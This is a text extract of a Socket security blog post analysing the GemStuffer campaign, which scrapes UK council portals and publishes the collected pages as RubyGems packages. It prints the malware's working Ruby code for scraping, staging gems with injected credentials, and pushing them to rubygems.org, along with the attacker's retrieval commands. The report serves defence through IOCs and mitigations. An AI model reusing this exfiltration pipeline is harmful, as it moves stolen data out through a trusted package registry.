← All findings · All sources · Highlighted = quoted in a finding; orange = the passage you jumped to. Use the browser Back button to return.
socket_gemstuffer.txt
Text extract of a published report (web/socket_gemstuffer.txt in the analysis scratchpad), with line numbers as cited.
12GemStuffer Campaign Abuses RubyGems as Exfiltration Channel Targeting UK Local Government | Socket3New:4Microsoft Teams Notifications Are Now Available in Socket5.6Learn more7 →8Product9Why Socket10Company11Blog12Pricing13Contact14npm15Get Started16Socket for GitHub17Socket Firewall18Socket CLI19Socket Certified Patches20Socket Web Extension21Socket Optimize22Socket Dependency Search23Socket Reachability24Security that keeps pace with AI development25What is Socket?26Integrations27All Integrations28Source Control29Ticketing & Messaging30Package Managers31SIEM32Languages33Resources34Docs35Changelog36Package Alerts37FAQ38Glossary39Anthropic40Reduced Sprawl, Improved Hygiene, and Faster Decision-Making41AI / Research42Vercel43Protecting the frontend deployment supply chain44Infrastructure45MetaMask46Blocking malicious packages in Web3 tooling47Web348Drata49Continuous compliance with open source controls50Compliance51Replit52Securing millions of developer environments53Dev Tools54View all stories55Competitors56Socket vs Snyk57Socket vs Dependabot58Socket vs Semgrep59Socket for OSS60Socket for SCA61Socket for Supply Chain Attack Prevention62Commits Secured Every Month6311.6M+64Code Repositories Protected651.5M66Latest News67Socket is part of @OpenAI's new Trusted Access for Cyber program, joining Semgrep, Calif, and Trail of Bits in the initial cohort.68News69Security70Company71Engineering72Application Security73View All74Company75About76Careers77Socket Labs78Investors79Security80Love81Achievements82SOC 2 Type 283Raised $125M84Fortune Cyber 6085Top Customers86Company News87Book a Demo88Get Started89Security that keeps pace with AI development90What is Socket?91Product92Socket for GitHub93Socket Firewall94Socket CLI95Socket Certified Patches96Socket Web Extension97Socket Optimize98Socket Dependency Search99Socket Reachability100All Integrations101Source Control102Ticketing & Messaging103Package Managers104SIEM105Languages106Docs107Changelog108Package Alerts109FAQ110Glossary111Why Socket112Anthropic113Vercel114MetaMask115Drata116Replit117View all stories118Socket vs Snyk119Socket vs Dependabot120Socket vs Semgrep121Socket for OSS122Socket for SCA123Socket for Supply Chain Attack Prevention124Company125Security126Company127Engineering128Application Security129View All130About131Careers132Socket Labs133Investors134Security135Love136SOC 2 Type 2137Raised $125M138Fortune Cyber 60139Top Customers140Blog141Pricing142Contact143npm144Try "react" or "express"145to navigate146·147to select148·149More tips150Back151Research152GemStuffer Campaign Abuses RubyGems as Exfiltration Channel Targeting UK Local Government153GemStuffer abuses RubyGems as an exfiltration channel, packaging scraped UK council portal data into junk gems published from new accounts.154Joseph Edwards155May 13, 2026156|1578 min read158Export IOCs15925160Table of Contents161Attack Chain Summary162Targeted Scraping of UK Council Portals163Malicious Gem Staging164Credential Injection via HOME Override165Malicious Gem Push/Exfiltration166Recommended Actions167Indicators of Compromise168Socket's threat research team is tracking a suspicious RubyGems campaign we’re calling GemStuffer, involving more than 100 gems that appear to use the RubyGems registry as a data transport mechanism rather than a conventional malware distribution channel.169The packages do not appear designed for mass developer compromise. Many have little or no download activity, and the payloads are repetitive, noisy, and unusually self-contained. Instead, the scripts fetch pages from UK local government democratic services portals, package the collected responses into valid 170.gem171 archives, and publish those gems back to RubyGems using hardcoded API keys. In some samples, the payload creates a temporary RubyGems credential environment under 172/tmp173, overrides 174HOME175, builds a gem locally, and pushes it to 176rubygems.org177. Other variants skip the 178gem179 CLI entirely and POST the archive directly to the RubyGems API.180The campaign focuses on public-facing ModernGov portals used by Lambeth, Wandsworth, and Southwark, collecting council calendar pages, agenda listings, committee links, and related public meeting content. Much of this material appears to be publicly accessible, which makes the campaign harder to classify. It may be registry spam, a proof-of-concept worm, an automated scraper misusing RubyGems as a storage layer, or a deliberate test of package registry abuse. But the mechanics are intentional: repeated gem generation, version increments, hardcoded RubyGems credentials, direct registry pushes, and scraped data embedded inside package archives.181GemStuffer also appears to overlap with a broader RubyGems spam-publishing incident. Ruby Central’s Marty Haught said RubyGems was responding to “a coordinated spam-publishing campaign” limited to newly registered accounts publishing junk packages, with no existing packages compromised.182He also said RubyGems temporarily disabled new account registration and throttled webhooks while improving spammer detection, adding that existing accounts, packages, and installs were unaffected. RubyGems’ signup page currently confirms that new account registration is temporarily disabled. 183This campaign fits the same abuse pattern: newly created packages, low download activity, repeated registry publishing, and junk-like package names used to move scraped data into RubyGems-hosted archives.184For defenders, low download counts should not obscure the significance of the technique. Package registries are commonly trusted destinations in developer and CI environments, and publishing a package can look indistinguishable from normal release activity. GemStuffer shows how that trust can be repurposed: scrape data, wrap it in a package, push it to a public registry, and retrieve it later with ordinary package tooling.185This analysis focuses on representative specimens from the GemStuffer campaign. The samples demonstrate a consistent technique: collect execution context, fetch hardcoded UK council portal URLs, package the HTTP responses into valid 186.gem187 archives, and publish those archives to RubyGems using embedded registry credentials. While individual variants use slightly different publishing paths, the abuse pattern is consistent: RubyGems is being used as a public data drop for scraped council content.188The package set and related indicators are available in our 189GemStuffer campaign tracker190 and embedded below. We’re currently tracking 155 package artifacts (packages and versions) associated with this campaign.191Loading affected packages…192Attack Chain Summary193#194[Delivery: (evil|hack|payload|script).rb dropped to target environment]195 |196 v197[Reconnaissance]198 Capture Time.now, Dir.pwd, $0 (script path), ARGV199 |200 v201[UK Gov Sites Scraping]202 GET https://<council>/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1203 SSL VERIFY_NONE — cert errors suppressed204 Full response body + HTTP status code captured205 |206 v207[Malicious Gem Staging]208 mkdir /tmp/<gemname><timestamp><pid>/lib/209 binwrite stolen content → lib/result.txt210 Write stub lib/x.rb, generate x.gemspec211 |212 v213[Credential Injection]214 mkdir /tmp/gemhome/.gem/215 Write hardcoded API key → .gem/credentials (chmod 0600)216 Override ENV['HOME'] = '/tmp/gemhome'217 |218 v219[Malicious Gem Push/Exfiltration]220 gem build x.gemspec → <name>-<version>.gem221 gem push <name>.gem --host https://rubygems.org222 Stolen data now retrievable as a public gem version223 |224 v225[Attacker retrieves data: gem fetch <name> -v <version> && tar xf *.gem data.tar.gz]226Targeted Scraping of UK Council Portals227#228The gem fetches one of several hardcoded URLs using Ruby's standard 229Net::HTTP230 library. It fetches council calendar pages and then actively crawls extracted links for additional document content. The script scrapes the returned HTML for agenda item URLs matching 231ieList232 or 233mgCommittee234 path patterns, and issues a second round of HTTP requests to follow any 235ieList236 links — pulling full agenda item listing pages on top of the raw calendar.237Ruby238[239'https://moderngov.lambeth.gov.uk'240,241'https://democracy.wandsworth.gov.uk'242,243'https://moderngov.southwark.gov.uk'244].each 245do246 |247host248|249# Phase 1: fetch the monthly calendar page250 cal = get(host+251'/mgCalendarMonthView.aspx?GL=1&M=1&Y=2026'252)253 out << 254"\n===CAL 255#{host}256===\n"257 << cal << 258"\n"259# Phase 2: extract and de-duplicate hrefs matching agenda/committee paths260 links = cal.scan(261/href=[\"']([^\"']+)/i262)263 .flatten264 .map { |265x266| x.gsub(267'&'268, 269'&'270) }271 .select { |272x273| x =~ 274/ieList|mgCommittee/i275 }276 .uniq277 out << links.inspect << 278"\n"279# Phase 3: follow ieList links to scrape full agenda item listings280 links.each 281do282 |283l284|285next286unless287 l =~ 288/ieList/i289 l = host+290'/'291+l.sub(292/^\//293, 294''295) 296unless297 l.start_with?(298'http'299)300 page = get(l)301 out << 302"\n===PAGE 303#{l}304===\n"305 << page << 306"\n"307end308end309The spoofed User-Agent header 310Mozilla/5.0311 is shorter and more anomalous than typical browser activity.312Ruby313# Shared fetch helper — User-Agent spoofing314def315get316(317url318)319 u = 320URI321(url)322Net323:324:HTTP325.start(u.host, u.port,326use_ssl:327 u.scheme == 328'https'329,330read_timeout:33140332 ) { |333h334| h.get(u.request_uri, {335'User-Agent'336 => 337'Mozilla/5.0'338}).body }339rescue340 => e341'ERR '342+e.to_s343end344All three domains are UK local government democratic services portals running ModernGov software. The data exposed at these endpoints typically includes committee meeting calendars, agenda item listings, linked PDF documents, officer contact information, and RSS feed content. While much of this is nominally public, the systematic bulk collection and archival of this data suggests the attacker may be using council portal access as a pivot to demonstrate capability against government infrastructure.345Malicious Gem Staging346#347The implant constructs a minimal but structurally valid 348.gem349 archive on the local filesystem, embedding the exfiltrated data as a binary file within the gem's 350lib/351 directory tree. The staging directory name is randomized for each run using a Unix epoch timestamp and the current process ID.352Ruby353root=354"/tmp/lambeth71b355#{356Time357.now.to_i}358#{359$$360}361"362FileUtils363.mkdir_p(364"365#{root}366/lib"367)368File369.binwrite(370"371#{root}372/lib/result.txt"373, out) 374# stolen data stored here375File376.write(377"378#{root}379/lib/x.rb"380, 381'#x'382) 383# stub required by gem structure384gemspec=385<<~G386Gem::Specification.new do |s|387 s.name='lambeth71b'388 s.version='0.0.2'389 s.summary='result'390 s.authors=['x']391 s.files=Dir['lib/**/*']392 s.license='MIT'393end394G395File.binwrite396 is used deliberately rather than 397File.write398 to avoid Ruby's string encoding layer raising exceptions on non-UTF-8 content in HTTP response bodies — a detail that reveals confident, experienced Ruby authorship. The gem name 399lambeth71b400 is a direct portmanteau of the target council name and an apparent campaign identifier suffix (40171b402), suggesting a naming convention shared across the full package set.403Not all campaign samples staged exfiltration content on disk before publishing. Some variants used 404Dir.mktmpdir405 with an OS-reclaimed block scope, meaning the staging directory and its contents are deleted immediately after the gem file is read for the push request:406Ruby407Dir408.mktmpdir { |409d410|411Dir412.chdir(d) {413# Stolen content written to README (not lib/result.txt as in prior samples)414File415.write(416'README'417, out)418# Gem built entirely via Ruby API — no gemspec file written to disk, no shell-out419 s = 420Gem::Specification421.new { |422x423|424 x.name = 425'agenda-sample-result'426 x.version = 427'0.1.1'428 x.summary = 429'o'430 x.authors = [431'a'432]433 x.files = [434'README'435]436 }437Gem438:439:Package440.build(s) 441# produces agenda-sample-result-0.1.1.gem in d/442 }443}444In these cases, only the gem itself is briefly available on disk. The exfiltrated data is written to a file named 445README446 — a further step away from the 447lib/result.txt448 path used in earlier specimens, and a filename that is semantically invisible inside a gem archive. No stub 449.rb450 file is included in 451x.files452, and no 453.gemspec454 file is ever written to disk — the specification exists only as a Ruby object in memory before being passed to 455Gem::Package.build456.457Credential Injection via HOME Override458#459This feature of the malware reveals an awareness of the credential environment in the RubyGems ecosystem. Rather than depending on pre-existing RubyGems credentials on the target machine, the script injects its own fully self-contained authentication context into a fabricated home directory under 460/tmp461 and then overrides the 462HOME463 environment variable for the current process so the 464gem465 CLI reads from it exclusively.466Ruby467FileUtils468.mkdir_p(469'/tmp/gemhome/.gem'470)471File472.write(473'/tmp/gemhome/.gem/credentials'474,475':rubygems_9fead...[REDACTED]...54a57_key: '476 \477'rubygems_9fead...[REDACTED]...54a57'478)479File480.chmod(4810600482, 483'/tmp/gemhome/.gem/credentials'484) 485# required — gem refuses group/world-readable creds486ENV487[488'HOME'489] = 490'/tmp/gemhome'491The 492File.chmod(0600, ...)493 call is important — the 494gem495 CLI will print an error and abort if the credentials file has permissions broader than 4960600497. The author knows this behavior and accounts for it explicitly, which is characteristic of someone who has tested this technique in practice.498The key format follows the modern RubyGems OAuth token specification:499:<key_name>: <key_value>500Where the key name is 501rubygems_9feada...502[REDACTED]...503054a57_key504 and the value is the token itself. This appears to be a live, functional API credential and not a placeholder.505RubyGems API Keys seen across the campaign:506rubygems_fb4e1b...507[REDACTED]...508aec9dd509rubygems_9feada...510[REDACTED]...511054a57512rubygems_d8e875...513[REDACTED]...51403a533515The use of three distinct API keys is a compartmentalization strategy: if one key is revoked and the corresponding gems yanked, the other two campaign legs continue operating uninterrupted. All three keys should be revoked.516The 517HOME518 override is process-local and ephemeral: it modifies only the Ruby process's own environment map via 519ENV['HOME']=520, does not call 521setenv(3)522 in a way that affects other processes, and disappears when the process exits. This minimizes the forensic footprint to the 523/tmp/gemhome/524 directory tree and the staging directory.525Note: In some samples, credential injection was not included. In these cases the script wrote no 526/tmp/gemhome/.gem/credentials527 file, no 528ENV['HOME']529 override, and no 530gem push531 CLI invocation. Instead, the API key is declared as a plaintext top-level constant and inserted directly into a 532Net::HTTP::Post533 request that the script constructs and fires itself:534Ruby535KEY536 = 537'rubygems_...[REDACTED]...f220b'538u = 539URI540(541'https://rubygems.org/api/v1/gems'542)543r = 544Net::HTTP::Post545.new(u)546r[547'Authorization'548] = 549KEY550r[551'Content-Type'552] = 553'application/octet-stream'554r.body = 555File556.binread(557'agenda-sample-result-0.1.1.gem'558)559Net560:561:HTTP562.start(u.host, u.port, 563use_ssl:564true565) { |566h567| h.request(r) }568By constructing the HTTP request manually, this variant removes every external process dependency from the push path — no 569gem570 binary needs to be present on the target machine, no credentials file needs to be written, no 571HOME572 needs to be redirected. The entire exfiltration pipeline from fetch to push runs within a single Ruby process using only stdlib. 573File.binread574 reads the assembled gem as raw bytes and sets it as the POST body directly, matching the wire format the RubyGems API expects: 575Content-Type: application/octet-stream576 with the raw 577.gem578 binary. The API key in the 579Authorization580 header is the only authentication material in the request.581Malicious Gem Push/Exfiltration582#583With staging complete and credentials injected, the implant shells out to the 584gem585 CLI to build and push the package to 586rubygems.org587. This is the exfiltration event itself.588Ruby589Dir590.chdir(root) 591do592 out2 = 593`gem build x.gemspec 2>&1`594 out3 = 595`gem push lambeth71b-0.0.2.gem --host https://rubygems.org 2>&1`596File597.write(598"599#{root}600/log"601, out2+602"\n"603+out3) 604rescue605nil606end607Dir.chdir(root)608 scopes the build context so 609gem build610 locates the gemspec and 611lib/612 tree correctly. The explicit 613--host <https://rubygems.org614> pin prevents accidental pushes to a configured private registry and makes the exfiltration endpoint unambiguous. Both CLI invocations capture stdout and stderr via backticks; the combined output is written to 615#{root}/log616 but that write is itself wrapped in 617rescue nil618 so even the local log is silently dropped on failure.619Network signature of the exfiltration event:620When 621gem push622 executes, it performs an HTTP 623POST624 to 625https://rubygems.org/api/v1/gems626 with:627Content-Type: application/octet-stream628Authorization: <rubygems_api_key>629 header630Request body: the raw binary 631.gem632 archive (a tar containing 633metadata.gz634 and 635data.tar.gz636)637The scraped response data is inside 638data.tar.gz → lib/result.txt639 within that archive. From a network monitoring perspective, this event is a single outbound TLS POST to 640rubygems.org:443641 carrying a binary body. It closely resembles a legitimate developer release workflow. Standard DLP tools inspecting egress for plaintext keywords will see nothing — the data is gzip-compressed inside a tar archive inside a TLS session.642Retrieval by the attacker643 requires only the gem name and version:644Bash645gem fetch lambeth71b -v 0.0.2646tar xf lambeth71b-0.0.2.gem data.tar.gz647tar xzf data.tar.gz ./lib/result.txt648The exfiltrated content is then available as a structured plaintext file containing the harvested environment metadata and the full council page response body, delimited by 649===== URL ... ==ENDURL==650 markers for programmatic parsing.651Recommended Actions652#653Yank all identified gem packages.654 Run 655gem yank <name> -v <version>656 for each confirmed package name. File a 657rubygems.org658 abuse report requesting emergency removal of the full package set — yanked gems may still be cached by mirrors.659Audit 660/tmp661 on all potentially affected machines.662 Search for 663lambeth71b*664, 665rubydocran_*666, 667/tmp/gemhome/668, and any directory matching 669/tmp/[a-z]+[0-9]+[a-z]+[0-9]{10}[0-9]+/670. Preserve and forensically image any hits before deletion.671Identify the delivery vector.672 This implant does not self-propagate — it was placed on a machine by another mechanism. Audit Bundler configuration files (673.bundlerc674, 675Gemfile676, 677config/application.rb678), gem post-install hooks, CI pipeline definitions, and dotfile repositories for references to 679evil.rb680, 681hack.rb682, 683script.rb684 or 685payload.rb686.687Alert on 688ENV['HOME']689 mutation to 690/tmp691 paths in production Ruby processes.692 Runtime security tooling (Falco, eBPF-based syscall monitors) can detect 693putenv694/695setenv696 calls that redirect 697HOME698 out of 699/home700 or 701/root702 into 703/tmp704. This is an abnormal operation in any legitimate Ruby application.705Block outbound 706gem push707 in CI pipelines that do not publish gems.708 If your CI workflows do not legitimately push to 709rubygems.org710, add an egress rule blocking HTTPS POST to 711rubygems.org/api/v1/gems712. For pipelines that do publish, restrict allowed gem names to an explicit allowlist.713Indicators of Compromise714#715Files716#717payload.rb718SHA-256: 719239440c830e17530dda0a8a06ed2708860998750a1e3ed2239e919465dc59420720SHA-1: 7215f924c0454f1fb6b2299d658c3bb4e75ce3d0b66722MD5: 72381c34eea9c853c5ec13a3b3cd4a2228b724script.rb725SHA-256: 726c2d6bcacc88177e0f2c8c262726f86f37e671b1692c8bc135bac4b610ddcf31a727SHA-1: 728db9827ae2c004a4dc6009be2d009477bff5249df729MD5: 7309211506ae02c9e4e75aeadfebeb4883c731evil.rb732yardload.rb733yard_plugin.rb734exploit.rb735extconf.rb736fetcher.rb737Network Indicators738#739hxxps://moderngov[.]lambeth[.]gov[.]uk/mgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1740hxxps://democracy[.]wandsworth[.]gov[.]uk/mgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1741hxxps://moderngov[.]southwark[.]gov[.]uk/mgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1742RubyGems API Key Indicators743#744Full token values have been redacted. Socket has shared relevant indicators with trusted parties as appropriate.745rubygems_9feada...746[REDACTED]....747054a57748rubygems_fb4e1b...749[REDACTED]...7506aec9dd751rubygems_d8e875...752[REDACTED]...753503a533754File System Artifacts755#756/tmp/<package><epoch_timestamp><pid>/757/tmp/<package><epoch_timestamp><pid>/lib/result.txt758/tmp/<package><epoch_timestamp><pid>/lib/x.rb759/tmp/<package><epoch_timestamp><pid>/x.gemspec760/tmp/<package><epoch_timestamp><pid>/<package>-0.0.2.gem761/tmp/<package><epoch_timestamp><pid>/log762/tmp/gemhome/.gem/credentials763 — fabricated credentials file containing hardcoded API key764/tmp/gemhome/765/tmp/rubydocran_*766Malicious Gem Packages767#768Static Gemspec Indicators769#770s.summary='result'771s.summary='o'772s.authors=['x']773s.authors=['a']774s.authors=['south']775Socket Firewall776Blocks risky dependencies before they reach your environment777Get Started Free778Keep Reading779Related posts780View all posts781Malicious Firefox Extension Poses as PDF Identity Verifier to Hijack Google Accounts782Research783Security News784Sep 23, 2026785MemTensor npm and PyPI Packages Compromised in Credential-Stealing Supply Chain Attack786Research787Security News788Sep 23, 2026789PolinRider Spreads Through Compromised GitHub Accounts and Packagist790Research791Security News792Sep 17, 2026793Stay ahead of threats794Subscribe to our newsletter795Get notified when we publish new security blog posts!796Enter your email797Socket for GitHub798Socket Firewall799Socket CLI800Socket Certified Patches801Socket Web Extension802Socket Optimize803Socket Dependency Search804Socket Reachability805Languages806JavaScript / TypeScript807Python808Go809Ruby810All Languages811Integrations812All Integrations813Slack814Source Control815Ticketing & Messaging816Package Managers817SIEM818Resources819Docs820Changelog821Package Alerts822FAQ823Glossary824Company825About826Careers827Socket Labs828Investors829Security830Love831News832Security833Company834Engineering835Application Security836View All837Achievements838SOC 2 Type 2839Raised $125M840Fortune Cyber 60841Top Customers842Company News843Stay in touch844Get open source security insights delivered straight into your inbox.845Enter email846Book a Demo847Get Started848Terms849Privacy850Security851Made with ⚡️ by Socket Inc852U.S. Patent No. 12,346,443 & 12,314,394. Other pending.853